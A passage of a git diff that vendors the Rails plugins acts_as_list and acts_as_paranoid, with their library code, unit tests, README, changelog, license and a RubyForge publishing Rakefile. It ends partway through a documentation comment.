0000000..d0ac6a7 --- /dev/null +++ b/vendor/gems/dr_nic_magic_models-0.9.2/website/version.txt @@ -0,0 +1,3 @@ +h1. Version JS file + +document.write(" - " + version); \ No newline at end of file diff --git a/vendor/plugins/acts_as_list/README b/vendor/plugins/acts_as_list/README new file mode 100644 index 0000000..36ae318 --- /dev/null +++ b/vendor/plugins/acts_as_list/README @@ -0,0 +1,23 @@ +ActsAsList +========== + +This acts_as extension provides the capabilities for sorting and reordering a number of objects in a list. The class that has this specified needs to have a +position+ column defined as an integer on the mapped database table. + + +Example +======= + + class TodoList < ActiveRecord::Base + has_many :todo_items, :order => "position" + end + + class TodoItem < ActiveRecord::Base + belongs_to :todo_list + acts_as_list :scope => :todo_list + end + + todo_list.first.move_to_bottom + todo_list.last.move_higher + + +Copyright (c) 2007 David Heinemeier Hansson, released under the MIT license \ No newline at end of file diff --git a/vendor/plugins/acts_as_list/init.rb b/vendor/plugins/acts_as_list/init.rb new file mode 100644 index 0000000..eb87e87 --- /dev/null +++ b/vendor/plugins/acts_as_list/init.rb @@ -0,0 +1,3 @@ +$:.unshift "#{File.dirname(__FILE__)}/lib" +require 'active_record/acts/list' +ActiveRecord::Base.class_eval { include ActiveRecord::Acts::List } diff --git a/vendor/plugins/acts_as_list/lib/active_record/acts/list.rb b/vendor/plugins/acts_as_list/lib/active_record/acts/list.rb new file mode 100644 index 0000000..00d8692 --- /dev/null +++ b/vendor/plugins/acts_as_list/lib/active_record/acts/list.rb @@ -0,0 +1,256 @@ +module ActiveRecord + module Acts #:nodoc: + module List #:nodoc: + def self.included(base) + base.extend(ClassMethods) + end + + # This +acts_as+ extension provides the capabilities for sorting and reordering a number of objects in a list. + # The class that has this specified needs to have a +position+ column defined as an integer on + # the mapped database table. + # + # Todo list example: + # + # class TodoList < ActiveRecord::Base + # has_many :todo_items, :order => "position" + # end + # + # class TodoItem < ActiveRecord::Base + # belongs_to :todo_list + # acts_as_list :scope => :todo_list + # end + # + # todo_list.first.move_to_bottom + # todo_list.last.move_higher + module ClassMethods + # Configuration options are: + # + # * +column+ - specifies the column name to use for keeping the position integer (default: +position+) + # * +scope+ - restricts what is to be considered a list. Given a symbol, it'll attach _id + # (if it hasn't already been added) and use that as the foreign key restriction. It's also possible + # to give it an entire string that is interpolated if you need a tighter scope than just a foreign key. + # Example: acts_as_list :scope => 'todo_list_id = #{todo_list_id} AND completed = 0' + def acts_as_list(options = {}) + configuration = { :column => "position", :scope => "1 = 1" } + configuration.update(options) if options.is_a?(Hash) + + configuration[:scope] = "#{configuration[:scope]}_id".intern if configuration[:scope].is_a?(Symbol) && configuration[:scope].to_s !~ /_id$/ + + if configuration[:scope].is_a?(Symbol) + scope_condition_method = %( + def scope_condition + if #{configuration[:scope].to_s}.nil? + "#{configuration[:scope].to_s} IS NULL" + else + "#{configuration[:scope].to_s} = \#{#{configuration[:scope].to_s}}" + end + end + ) + else + scope_condition_method = "def scope_condition() \"#{configuration[:scope]}\" end" + end + + class_eval <<-EOV + include ActiveRecord::Acts::List::InstanceMethods + + def acts_as_list_class + ::#{self.name} + end + + def position_column + '#{configuration[:column]}' + end + + #{scope_condition_method} + + before_destroy :remove_from_list + before_create :add_to_list_bottom + EOV + end + end + + # All the methods available to a record that has had acts_as_list specified. Each method works + # by assuming the object to be the item in the list, so chapter.move_lower would move that chapter + # lower in the list of all chapters. Likewise, chapter.first? would return +true+ if that chapter is + # the first in the list of all chapters. + module InstanceMethods + # Insert the item at the given position (defaults to the top position of 1). + def insert_at(position = 1) + insert_at_position(position) + end + + # Swap positions with the next lower item, if one exists. + def move_lower + return unless lower_item + + acts_as_list_class.transaction do + lower_item.decrement_position + increment_position + end + end + + # Swap positions with the next higher item, if one exists. + def move_higher + return unless higher_item + + acts_as_list_class.transaction do + higher_item.increment_position + decrement_position + end + end + + # Move to the bottom of the list. If the item is already in the list, the items below it have their + # position adjusted accordingly. + def move_to_bottom + return unless in_list? + acts_as_list_class.transaction do + decrement_positions_on_lower_items + assume_bottom_position + end + end + + # Move to the top of the list. If the item is already in the list, the items above it have their + # position adjusted accordingly. + def move_to_top + return unless in_list? + acts_as_list_class.transaction do + increment_positions_on_higher_items + assume_top_position + end + end + + # Removes the item from the list. + def remove_from_list + if in_list? + decrement_positions_on_lower_items + update_attribute position_column, nil + end + end + + # Increase the position of this item without adjusting the rest of the list. + def increment_position + return unless in_list? + update_attribute position_column, self.send(position_column).to_i + 1 + end + + # Decrease the position of this item without adjusting the rest of the list. + def decrement_position + return unless in_list? + update_attribute position_column, self.send(position_column).to_i - 1 + end + + # Return +true+ if this object is the first in the list. + def first? + return false unless in_list? + self.send(position_column) == 1 + end + + # Return +true+ if this object is the last in the list. + def last? + return false unless in_list? + self.send(position_column) == bottom_position_in_list + end + + # Return the next higher item in the list. + def higher_item + return nil unless in_list? + acts_as_list_class.find(:first, :conditions => + "#{scope_condition} AND #{position_column} = #{(send(position_column).to_i - 1).to_s}" + ) + end + + # Return the next lower item in the list. + def lower_item + return nil unless in_list? + acts_as_list_class.find(:first, :conditions => + "#{scope_condition} AND #{position_column} = #{(send(position_column).to_i + 1).to_s}" + ) + end + + # Test if this record is in a list + def in_list? + !send(position_column).nil? + end + + private + def add_to_list_top + increment_positions_on_all_items + end + + def add_to_list_bottom + self[position_column] = bottom_position_in_list.to_i + 1 + end + + # Overwrite this method to define the scope of the list changes + def scope_condition() "1" end + + # Returns the bottom position number in the list. + # bottom_position_in_list # => 2 + def bottom_position_in_list(except = nil) + item = bottom_item(except) + item ? item.send(position_column) : 0 + end + + # Returns the bottom item + def bottom_item(except = nil) + conditions = scope_condition + conditions = "#{conditions} AND #{self.class.primary_key} != #{except.id}" if except + acts_as_list_class.find(:first, :conditions => conditions, :order => "#{position_column} DESC") + end + + # Forces item to assume the bottom position in the list. + def assume_bottom_position + update_attribute(position_column, bottom_position_in_list(self).to_i + 1) + end + + # Forces item to assume the top position in the list. + def assume_top_position + update_attribute(position_column, 1) + end + + # This has the effect of moving all the higher items up one. + def decrement_positions_on_higher_items(position) + acts_as_list_class.update_all( + "#{position_column} = (#{position_column} - 1)", "#{scope_condition} AND #{position_column} <= #{position}" + ) + end + + # This has the effect of moving all the lower items up one. + def decrement_positions_on_lower_items + return unless in_list? + acts_as_list_class.update_all( + "#{position_column} = (#{position_column} - 1)", "#{scope_condition} AND #{position_column} > #{send(position_column).to_i}" + ) + end + + # This has the effect of moving all the higher items down one. + def increment_positions_on_higher_items + return unless in_list? + acts_as_list_class.update_all( + "#{position_column} = (#{position_column} + 1)", "#{scope_condition} AND #{position_column} < #{send(position_column).to_i}" + ) + end + + # This has the effect of moving all the lower items down one. + def increment_positions_on_lower_items(position) + acts_as_list_class.update_all( + "#{position_column} = (#{position_column} + 1)", "#{scope_condition} AND #{position_column} >= #{position}" + ) + end + + # Increments position (position_column) of all items in the list. + def increment_positions_on_all_items + acts_as_list_class.update_all( + "#{position_column} = (#{position_column} + 1)", "#{scope_condition}" + ) + end + + def insert_at_position(position) + remove_from_list + increment_positions_on_lower_items(position) + self.update_attribute(position_column, position) + end + end + end + end +end diff --git a/vendor/plugins/acts_as_list/test/list_test.rb b/vendor/plugins/acts_as_list/test/list_test.rb new file mode 100644 index 0000000..e89cb8e --- /dev/null +++ b/vendor/plugins/acts_as_list/test/list_test.rb @@ -0,0 +1,332 @@ +require 'test/unit' + +require 'rubygems' +gem 'activerecord', '>= 1.15.4.7794' +require 'active_record' + +require "#{File.dirname(__FILE__)}/../init" + +ActiveRecord::Base.establish_connection(:adapter => "sqlite3", :dbfile => ":memory:") + +def setup_db + ActiveRecord::Schema.define(:version => 1) do + create_table :mixins do |t| + t.column :pos, :integer + t.column :parent_id, :integer + t.column :created_at, :datetime + t.column :updated_at, :datetime + end + end +end + +def teardown_db + ActiveRecord::Base.connection.tables.each do |table| + ActiveRecord::Base.connection.drop_table(table) + end +end + +class Mixin < ActiveRecord::Base +end + +class ListMixin < Mixin + acts_as_list :column => "pos", :scope => :parent + + def self.table_name() "mixins" end +end + +class ListMixinSub1 < ListMixin +end + +class ListMixinSub2 < ListMixin +end + +class ListWithStringScopeMixin < ActiveRecord::Base + acts_as_list :column => "pos", :scope => 'parent_id = #{parent_id}' + + def self.table_name() "mixins" end +end + + +class ListTest < Test::Unit::TestCase + + def setup + setup_db + (1..4).each { |counter| ListMixin.create! :pos => counter, :parent_id => 5 } + end + + def teardown + teardown_db + end + + def test_reordering + assert_equal [1, 2, 3, 4], ListMixin.find(:all, :conditions => 'parent_id = 5', :order => 'pos').map(&:id) + + ListMixin.find(2).move_lower + assert_equal [1, 3, 2, 4], ListMixin.find(:all, :conditions => 'parent_id = 5', :order => 'pos').map(&:id) + + ListMixin.find(2).move_higher + assert_equal [1, 2, 3, 4], ListMixin.find(:all, :conditions => 'parent_id = 5', :order => 'pos').map(&:id) + + ListMixin.find(1).move_to_bottom + assert_equal [2, 3, 4, 1], ListMixin.find(:all, :conditions => 'parent_id = 5', :order => 'pos').map(&:id) + + ListMixin.find(1).move_to_top + assert_equal [1, 2, 3, 4], ListMixin.find(:all, :conditions => 'parent_id = 5', :order => 'pos').map(&:id) + + ListMixin.find(2).move_to_bottom + assert_equal [1, 3, 4, 2], ListMixin.find(:all, :conditions => 'parent_id = 5', :order => 'pos').map(&:id) + + ListMixin.find(4).move_to_top + assert_equal [4, 1, 3, 2], ListMixin.find(:all, :conditions => 'parent_id = 5', :order => 'pos').map(&:id) + end + + def test_move_to_bottom_with_next_to_last_item + assert_equal [1, 2, 3, 4], ListMixin.find(:all, :conditions => 'parent_id = 5', :order => 'pos').map(&:id) + ListMixin.find(3).move_to_bottom + assert_equal [1, 2, 4, 3], ListMixin.find(:all, :conditions => 'parent_id = 5', :order => 'pos').map(&:id) + end + + def test_next_prev + assert_equal ListMixin.find(2), ListMixin.find(1).lower_item + assert_nil ListMixin.find(1).higher_item + assert_equal ListMixin.find(3), ListMixin.find(4).higher_item + assert_nil ListMixin.find(4).lower_item + end + + def test_injection + item = ListMixin.new(:parent_id => 1) + assert_equal "parent_id = 1", item.scope_condition + assert_equal "pos", item.position_column + end + + def test_insert + new = ListMixin.create(:parent_id => 20) + assert_equal 1, new.pos + assert new.first? + assert new.last? + + new = ListMixin.create(:parent_id => 20) + assert_equal 2, new.pos + assert !new.first? + assert new.last? + + new = ListMixin.create(:parent_id => 20) + assert_equal 3, new.pos + assert !new.first? + assert new.last? + + new = ListMixin.create(:parent_id => 0) + assert_equal 1, new.pos + assert new.first? + assert new.last? + end + + def test_insert_at + new = ListMixin.create(:parent_id => 20) + assert_equal 1, new.pos + + new = ListMixin.create(:parent_id => 20) + assert_equal 2, new.pos + + new = ListMixin.create(:parent_id => 20) + assert_equal 3, new.pos + + new4 = ListMixin.create(:parent_id => 20) + assert_equal 4, new4.pos + + new4.insert_at(3) + assert_equal 3, new4.pos + + new.reload + assert_equal 4, new.pos + + new.insert_at(2) + assert_equal 2, new.pos + + new4.reload + assert_equal 4, new4.pos + + new5 = ListMixin.create(:parent_id => 20) + assert_equal 5, new5.pos + + new5.insert_at(1) + assert_equal 1, new5.pos + + new4.reload + assert_equal 5, new4.pos + end + + def test_delete_middle + assert_equal [1, 2, 3, 4], ListMixin.find(:all, :conditions => 'parent_id = 5', :order => 'pos').map(&:id) + + ListMixin.find(2).destroy + + assert_equal [1, 3, 4], ListMixin.find(:all, :conditions => 'parent_id = 5', :order => 'pos').map(&:id) + + assert_equal 1, ListMixin.find(1).pos + assert_equal 2, ListMixin.find(3).pos + assert_equal 3, ListMixin.find(4).pos + + ListMixin.find(1).destroy + + assert_equal [3, 4], ListMixin.find(:all, :conditions => 'parent_id = 5', :order => 'pos').map(&:id) + + assert_equal 1, ListMixin.find(3).pos + assert_equal 2, ListMixin.find(4).pos + end + + def test_with_string_based_scope + new = ListWithStringScopeMixin.create(:parent_id => 500) + assert_equal 1, new.pos + assert new.first? + assert new.last? + end + + def test_nil_scope + new1, new2, new3 = ListMixin.create, ListMixin.create, ListMixin.create + new2.move_higher + assert_equal [new2, new1, new3], ListMixin.find(:all, :conditions => 'parent_id IS NULL', :order => 'pos') + end + + + def test_remove_from_list_should_then_fail_in_list? + assert_equal true, ListMixin.find(1).in_list? + ListMixin.find(1).remove_from_list + assert_equal false, ListMixin.find(1).in_list? + end + + def test_remove_from_list_should_set_position_to_nil + assert_equal [1, 2, 3, 4], ListMixin.find(:all, :conditions => 'parent_id = 5', :order => 'pos').map(&:id) + + ListMixin.find(2).remove_from_list + + assert_equal [2, 1, 3, 4], ListMixin.find(:all, :conditions => 'parent_id = 5', :order => 'pos').map(&:id) + + assert_equal 1, ListMixin.find(1).pos + assert_equal nil, ListMixin.find(2).pos + assert_equal 2, ListMixin.find(3).pos + assert_equal 3, ListMixin.find(4).pos + end + + def test_remove_before_destroy_does_not_shift_lower_items_twice + assert_equal [1, 2, 3, 4], ListMixin.find(:all, :conditions => 'parent_id = 5', :order => 'pos').map(&:id) + + ListMixin.find(2).remove_from_list + ListMixin.find(2).destroy + + assert_equal [1, 3, 4], ListMixin.find(:all, :conditions => 'parent_id = 5', :order => 'pos').map(&:id) + + assert_equal 1, ListMixin.find(1).pos + assert_equal 2, ListMixin.find(3).pos + assert_equal 3, ListMixin.find(4).pos + end + +end + +class ListSubTest < Test::Unit::TestCase + + def setup + setup_db + (1..4).each { |i| ((i % 2 == 1) ? ListMixinSub1 : ListMixinSub2).create! :pos => i, :parent_id => 5000 } + end + + def teardown + teardown_db + end + + def test_reordering + assert_equal [1, 2, 3, 4], ListMixin.find(:all, :conditions => 'parent_id = 5000', :order => 'pos').map(&:id) + + ListMixin.find(2).move_lower + assert_equal [1, 3, 2, 4], ListMixin.find(:all, :conditions => 'parent_id = 5000', :order => 'pos').map(&:id) + + ListMixin.find(2).move_higher + assert_equal [1, 2, 3, 4], ListMixin.find(:all, :conditions => 'parent_id = 5000', :order => 'pos').map(&:id) + + ListMixin.find(1).move_to_bottom + assert_equal [2, 3, 4, 1], ListMixin.find(:all, :conditions => 'parent_id = 5000', :order => 'pos').map(&:id) + + ListMixin.find(1).move_to_top + assert_equal [1, 2, 3, 4], ListMixin.find(:all, :conditions => 'parent_id = 5000', :order => 'pos').map(&:id) + + ListMixin.find(2).move_to_bottom + assert_equal [1, 3, 4, 2], ListMixin.find(:all, :conditions => 'parent_id = 5000', :order => 'pos').map(&:id) + + ListMixin.find(4).move_to_top + assert_equal [4, 1, 3, 2], ListMixin.find(:all, :conditions => 'parent_id = 5000', :order => 'pos').map(&:id) + end + + def test_move_to_bottom_with_next_to_last_item + assert_equal [1, 2, 3, 4], ListMixin.find(:all, :conditions => 'parent_id = 5000', :order => 'pos').map(&:id) + ListMixin.find(3).move_to_bottom + assert_equal [1, 2, 4, 3], ListMixin.find(:all, :conditions => 'parent_id = 5000', :order => 'pos').map(&:id) + end + + def test_next_prev + assert_equal ListMixin.find(2), ListMixin.find(1).lower_item + assert_nil ListMixin.find(1).higher_item + assert_equal ListMixin.find(3), ListMixin.find(4).higher_item + assert_nil ListMixin.find(4).lower_item + end + + def test_injection + item = ListMixin.new("parent_id"=>1) + assert_equal "parent_id = 1", item.scope_condition + assert_equal "pos", item.position_column + end + + def test_insert_at + new = ListMixin.create("parent_id" => 20) + assert_equal 1, new.pos + + new = ListMixinSub1.create("parent_id" => 20) + assert_equal 2, new.pos + + new = ListMixinSub2.create("parent_id" => 20) + assert_equal 3, new.pos + + new4 = ListMixin.create("parent_id" => 20) + assert_equal 4, new4.pos + + new4.insert_at(3) + assert_equal 3, new4.pos + + new.reload + assert_equal 4, new.pos + + new.insert_at(2) + assert_equal 2, new.pos + + new4.reload + assert_equal 4, new4.pos + + new5 = ListMixinSub1.create("parent_id" => 20) + assert_equal 5, new5.pos + + new5.insert_at(1) + assert_equal 1, new5.pos + + new4.reload + assert_equal 5, new4.pos + end + + def test_delete_middle + assert_equal [1, 2, 3, 4], ListMixin.find(:all, :conditions => 'parent_id = 5000', :order => 'pos').map(&:id) + + ListMixin.find(2).destroy + + assert_equal [1, 3, 4], ListMixin.find(:all, :conditions => 'parent_id = 5000', :order => 'pos').map(&:id) + + assert_equal 1, ListMixin.find(1).pos + assert_equal 2, ListMixin.find(3).pos + assert_equal 3, ListMixin.find(4).pos + + ListMixin.find(1).destroy + + assert_equal [3, 4], ListMixin.find(:all, :conditions => 'parent_id = 5000', :order => 'pos').map(&:id) + + assert_equal 1, ListMixin.find(3).pos + assert_equal 2, ListMixin.find(4).pos + end + +end diff --git a/vendor/plugins/acts_as_paranoid/CHANGELOG b/vendor/plugins/acts_as_paranoid/CHANGELOG new file mode 100644 index 0000000..92f4d46 --- /dev/null +++ b/vendor/plugins/acts_as_paranoid/CHANGELOG @@ -0,0 +1,74 @@ +* (4 Oct 2007) + +Update for Edge rails: remove support for legacy #count args + +* (2 Feb 2007) + +Add support for custom primary keys [Jeff Dean] + +* (2 July 2006) + +Add paranoid delete_all implementation [Marshall Roch] + +* (23 May 2006) + +Allow setting of future dates for content expiration. + +* (15 May 2006) + +Added support for dynamic finders + +* (28 Mar 2006) + +Updated for Rails 1.1. I love removing code. + + Refactored #find method + Nested Scopes + +*0.3.1* (20 Dec 2005) + +* took out deleted association code for 'chainsaw butchery of base classes' [sorry Erik Terpstra] +* verified tests pass on Rails 1.0 + +*0.3* (27 Nov 2005) + +* Deleted models will find deleted associations by default now [Erik Terpstra] +* Added :group as valid option for find [Michael Dabney] +* Changed the module namespace to Caboose::Acts::Paranoid + +*0.2.0* (6 Nov 2005) + +* Upgrade to Rails 1.0 RC4. ActiveRecord::Base#constrain has been replaced with scope_with. + +*0.1.7* (22 Oct 2005) + +* Added :with_deleted as a valid option of ActiveRecord::Base#find + +*0.1.6* (25 Sep 2005) + +* Fixed bug where nested constrains would get clobbered after multiple queries + +*0.1.5* (22 Sep 2005) + +* Fixed bug where acts_as_paranoid would clobber other constrains +* Simplified acts_as_paranoid mixin including. + +*0.1.4* (18 Sep 2005) + +* First RubyForge release + +*0.1.3* (18 Sep 2005) + +* ignore multiple calls to acts_as_paranoid on the same model + +*0.1.2* (18 Sep 2005) + +* fixed a bug that kept you from selecting the first deleted record + +*0.1.1* (18 Sep 2005) + +* Fixed bug that kept you from selecting deleted records by ID + +*0.1* (17 Sep 2005) + +* Initial gem diff --git a/vendor/plugins/acts_as_paranoid/MIT-LICENSE b/vendor/plugins/acts_as_paranoid/MIT-LICENSE new file mode 100644 index 0000000..5851fda --- /dev/null +++ b/vendor/plugins/acts_as_paranoid/MIT-LICENSE @@ -0,0 +1,20 @@ +Copyright (c) 2005 Rick Olson + +Permission is hereby granted, free of charge, to any person obtaining +a copy of this software and associated documentation files (the +"Software"), to deal in the Software without restriction, including +without limitation the rights to use, copy, modify, merge, publish, +distribute, sublicense, and/or sell copies of the Software, and to +permit persons to whom the Software is furnished to do so, subject to +the following conditions: + +The above copyright notice and this permission notice shall be +included in all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND +NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE +LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION +OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION +WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. \ No newline at end of file diff --git a/vendor/plugins/acts_as_paranoid/README b/vendor/plugins/acts_as_paranoid/README new file mode 100644 index 0000000..0a6f4a0 --- /dev/null +++ b/vendor/plugins/acts_as_paranoid/README @@ -0,0 +1,26 @@ += acts_as_paranoid + +Overrides some basic methods for the current model so that calling #destroy sets a 'deleted_at' field to the +current timestamp. ActiveRecord is required. + +== Resources + +Install + +* gem install acts_as_paranoid + +Rubyforge project + +* http://rubyforge.org/projects/ar-paranoid + +RDocs + +* http://ar-paranoid.rubyforge.org + +Subversion + +* http://techno-weenie.net/svn/projects/acts_as_paranoid + +Collaboa + +* http://collaboa.techno-weenie.net/repository/browse/acts_as_paranoid \ No newline at end of file diff --git a/vendor/plugins/acts_as_paranoid/RUNNING_UNIT_TESTS b/vendor/plugins/acts_as_paranoid/RUNNING_UNIT_TESTS new file mode 100644 index 0000000..42f947b --- /dev/null +++ b/vendor/plugins/acts_as_paranoid/RUNNING_UNIT_TESTS @@ -0,0 +1,41 @@ +== Creating the test database + +The default name for the test databases is "activerecord_paranoid". If you +want to use another database name then be sure to update the connection +adapter setups you want to test with in test/connections//connection.rb. +When you have the database online, you can import the fixture tables with +the test/fixtures/db_definitions/*.sql files. + +Make sure that you create database objects with the same user that you specified in i +connection.rb otherwise (on Postgres, at least) tests for default values will fail. + +== Running with Rake + +The easiest way to run the unit tests is through Rake. The default task runs +the entire test suite for all the adapters. You can also run the suite on just +one adapter by using the tasks test_mysql_ruby, test_ruby_mysql, test_sqlite, +or test_postresql. For more information, checkout the full array of rake tasks with "rake -T" + +Rake can be found at http://rake.rubyforge.org + +== Running by hand + +Unit tests are located in test directory. If you only want to run a single test suite, +or don't want to bother with Rake, you can do so with something like: + + cd test; ruby -I "connections/native_mysql" base_test.rb + +That'll run the base suite using the MySQL-Ruby adapter. Change the adapter +and test suite name as needed. + +== Faster tests + +If you are using a database that supports transactions, you can set the +"AR_TX_FIXTURES" environment variable to "yes" to use transactional fixtures. +This gives a very large speed boost. With rake: + + rake AR_TX_FIXTURES=yes + +Or, by hand: + + AR_TX_FIXTURES=yes ruby -I connections/native_sqlite3 base_test.rb diff --git a/vendor/plugins/acts_as_paranoid/Rakefile b/vendor/plugins/acts_as_paranoid/Rakefile new file mode 100644 index 0000000..5b45a1c --- /dev/null +++ b/vendor/plugins/acts_as_paranoid/Rakefile @@ -0,0 +1,180 @@ +require 'rubygems' + +Gem::manage_gems + +require 'rake/rdoctask' +require 'rake/packagetask' +require 'rake/gempackagetask' +require 'rake/testtask' +require 'rake/contrib/rubyforgepublisher' + +PKG_NAME = 'acts_as_paranoid' +PKG_VERSION = '0.3.1' +PKG_FILE_NAME = "#{PKG_NAME}-#{PKG_VERSION}" +PROD_HOST = "technoweenie@bidwell.textdrive.com" +RUBY_FORGE_PROJECT = 'ar-paranoid' +RUBY_FORGE_USER = 'technoweenie' + +desc 'Default: run unit tests.' +task :default => :test + +desc 'Test the calculations plugin.' +Rake::TestTask.new(:test) do |t| + t.libs << 'lib' + t.pattern = 'test/**/*_test.rb' + t.verbose = true +end + +desc 'Generate documentation for the acts_as_paranoid plugin.' +Rake::RDocTask.new do |rdoc| + rdoc.rdoc_dir = 'html' + rdoc.title = "#{PKG_NAME} -- protect your ActiveRecord objects from accidental deletion" + rdoc.options << '--line-numbers --inline-source --accessor cattr_accessor=object' + rdoc.template = "#{ENV['template']}.rb" if ENV['template'] + rdoc.rdoc_files.include('README', 'CHANGELOG', 'RUNNING_UNIT_TESTS') + rdoc.rdoc_files.include('lib/**/*.rb') +end + +spec = Gem::Specification.new do |s| + s.name = PKG_NAME + s.version = PKG_VERSION + s.platform = Gem::Platform::RUBY + s.summary = "acts_as_paranoid keeps models from actually being deleted by setting a deleted_at field." + s.files = FileList["{lib,test}/**/*"].to_a + %w(README MIT-LICENSE CHANGELOG RUNNING_UNIT_TESTS) + s.files.delete "acts_as_paranoid_plugin.sqlite.db" + s.files.delete "acts_as_paranoid_plugin.sqlite3.db" + s.require_path = 'lib' + s.autorequire = 'acts_as_paranoid' + s.has_rdoc = true + s.test_files = Dir['test/**/*_test.rb'] + s.author = "Rick Olson" + s.email = "technoweenie@gmail.com" + s.homepage = "http://techno-weenie.net" +end + +Rake::GemPackageTask.new(spec) do |pkg| + pkg.need_tar = true +end + +desc "Publish the API documentation" +task :pdoc => [:rdoc] do + Rake::RubyForgePublisher.new(RUBY_FORGE_PROJECT, RUBY_FORGE_USER).upload +end + +desc 'Publish the gem and API docs' +task :publish => [:pdoc, :rubyforge_upload] + +desc "Publish the release files to RubyForge." +task :rubyforge_upload => :package do + files = %w(gem tgz).map { |ext| "pkg/#{PKG_FILE_NAME}.#{ext}" } + + if RUBY_FORGE_PROJECT then + require 'net/http' + require 'open-uri' + + project_uri = "http://rubyforge.org/projects/#{RUBY_FORGE_PROJECT}/" + project_data = open(project_uri) { |data| data.read } + group_id = project_data[/[?&]group_id=(\d+)/, 1] + raise "Couldn't get group id" unless group_id + + # This echos password to shell which is a bit sucky + if ENV["RUBY_FORGE_PASSWORD"] + password = ENV["RUBY_FORGE_PASSWORD"] + else + print "#{RUBY_FORGE_USER}@rubyforge.org's password: " + password = STDIN.gets.chomp + end + + login_response = Net::HTTP.start("rubyforge.org", 80) do |http| + data = [ + "login=1", + "form_loginname=#{RUBY_FORGE_USER}", + "form_pw=#{password}" + ].join("&") + http.post("/account/login.php", data) + end + + cookie = login_response["set-cookie"] + raise "Login failed" unless cookie + headers = { "Cookie" => cookie } + + release_uri = "http://rubyforge.org/frs/admin/?group_id=#{group_id}" + release_data = open(release_uri, headers) { |data| data.read } + package_id = release_data[/[?&]package_id=(\d+)/, 1] + raise "Couldn't get package id" unless package_id + + first_file = true + release_id = "" + + files.each do |filename| + basename = File.basename(filename) + file_ext = File.extname(filename) + file_data = File.open(filename, "rb") { |file| file.read } + + puts "Releasing #{basename}..." + + release_response = Net::HTTP.start("rubyforge.org", 80) do |http| + release_date = Time.now.strftime("%Y-%m-%d %H:%M") + type_map = { + ".zip" => "3000", + ".tgz" => "3110", + ".gz" => "3110", + ".gem" => "1400" + }; type_map.default = "9999" + type = type_map[file_ext] + boundary = "rubyqMY6QN9bp6e4kS21H4y0zxcvoor" + + query_hash = if first_file then + { + "group_id" => group_id, + "package_id" => package_id, + "release_name" => PKG_FILE_NAME, + "release_date" => release_date, + "type_id" => type, + "processor_id" => "8000", # Any + "release_notes" => "", + "release_changes" => "", + "preformatted" => "1", + "submit" => "1" + } + else + { + "group_id" => group_id, + "release_id" => release_id, + "package_id" => package_id, + "step2" => "1", + "type_id" => type, + "processor_id" => "8000", # Any + "submit" => "Add This File" + } + end + + query = "?" + query_hash.map do |(name, value)| + [name, URI.encode(value)].join("=") + end.join("&") + + data = [ + "--" + boundary, + "Content-Disposition: form-data; name=\"userfile\"; filename=\"#{basename}\"", + "Content-Type: application/octet-stream", + "Content-Transfer-Encoding: binary", + "", file_data, "" + ].join("\x0D\x0A") + + release_headers = headers.merge( + "Content-Type" => "multipart/form-data; boundary=#{boundary}" + ) + + target = first_file ? "/frs/admin/qrs.php" : "/frs/admin/editrelease.php" + http.post(target + query, data, release_headers) + end + + if first_file then + release_id = release_response.body[/release_id=(\d+)/, 1] + raise("Couldn't get release id") unless release_id + end + + first_file = false + end + end +end \ No newline at end of file diff --git a/vendor/plugins/acts_as_paranoid/init.rb b/vendor/plugins/acts_as_paranoid/init.rb new file mode 100644 index 0000000..bbcaf6b --- /dev/null +++ b/vendor/plugins/acts_as_paranoid/init.rb @@ -0,0 +1,16 @@ +class << ActiveRecord::Base + def belongs_to_with_deleted(association_id, options = {}) + with_deleted = options.delete :with_deleted + returning belongs_to_without_deleted(association_id, options) do + if with_deleted + reflection = reflect_on_association(association_id) + association_accessor_methods(reflection, Caboose::Acts::BelongsToWithDeletedAssociation) + association_constructor_method(:build, reflection, Caboose::Acts::BelongsToWithDeletedAssociation) + association_constructor_method(:create, reflection, Caboose::Acts::BelongsToWithDeletedAssociation) + end + end + end + + alias_method_chain :belongs_to, :deleted +end +ActiveRecord::Base.send :include, Caboose::Acts::Paranoid \ No newline at end of file diff --git a/vendor/plugins/acts_as_paranoid/lib/caboose/acts/belongs_to_with_deleted_association.rb b/vendor/plugins/acts_as_paranoid/lib/caboose/acts/belongs_to_with_deleted_association.rb new file mode 100644 index 0000000..3ac6416 --- /dev/null +++ b/vendor/plugins/acts_as_paranoid/lib/caboose/acts/belongs_to_with_deleted_association.rb @@ -0,0 +1,14 @@ +module Caboose # :nodoc: + module Acts # :nodoc: + class BelongsToWithDeletedAssociation < ActiveRecord::Associations::BelongsToAssociation + private + def find_target + @reflection.klass.find_with_deleted( + @owner[@reflection.primary_key_name], + :conditions => conditions, + :include => @reflection.options[:include] + ) + end + end + end +end \ No newline at end of file diff --git a/vendor/plugins/acts_as_paranoid/lib/caboose/acts/paranoid.rb b/vendor/plugins/acts_as_paranoid/lib/caboose/acts/paranoid.rb new file mode 100644 index 0000000..1a058c1 --- /dev/null +++ b/vendor/plugins/acts_as_paranoid/lib/caboose/acts/paranoid.rb @@ -0,0 +1,148 @@ +module Caboose #:nodoc: + module Acts #:nodoc: + # Overrides some basic methods for the current model so that calling #destroy sets a 'deleted_at' field to the current timestamp. + # This assumes the table has a deleted_at date/time field. Most normal model operations will work, but there will be some oddities. + # + # class Widget < ActiveRecord::Base + # acts_as_paranoid + # end + # + # Widget.find(:all) + # # SELECT * FROM widgets WHERE widgets.deleted_at IS NULL + # + # Widget.find(:first, :conditions => ['title = ?', 'test'], :order => 'title') + # # SELECT * FROM widgets WHERE widgets.deleted_at IS NULL AND title = 'test' ORDER BY title LIMIT 1 + # + # Widget.find_with_deleted(:all) + # # SELECT * FROM widgets + # + # Widget.find(:all, :with_deleted => true) + # # SELECT * FROM widgets + # + # Widget.find_with_deleted(1).deleted? + # # Returns true if the record was previously destroyed, false if not + # + # Widget.count + # # SELECT COUNT(*) FROM widgets WHERE widgets.deleted_at IS NULL + # + # Widget.count ['title = ?', 'test'] + # # SELECT COUNT(*) FROM widgets WHERE widgets.deleted_at IS NULL AND title = 'test' + # + # Widget.count_with_deleted + # # SELECT 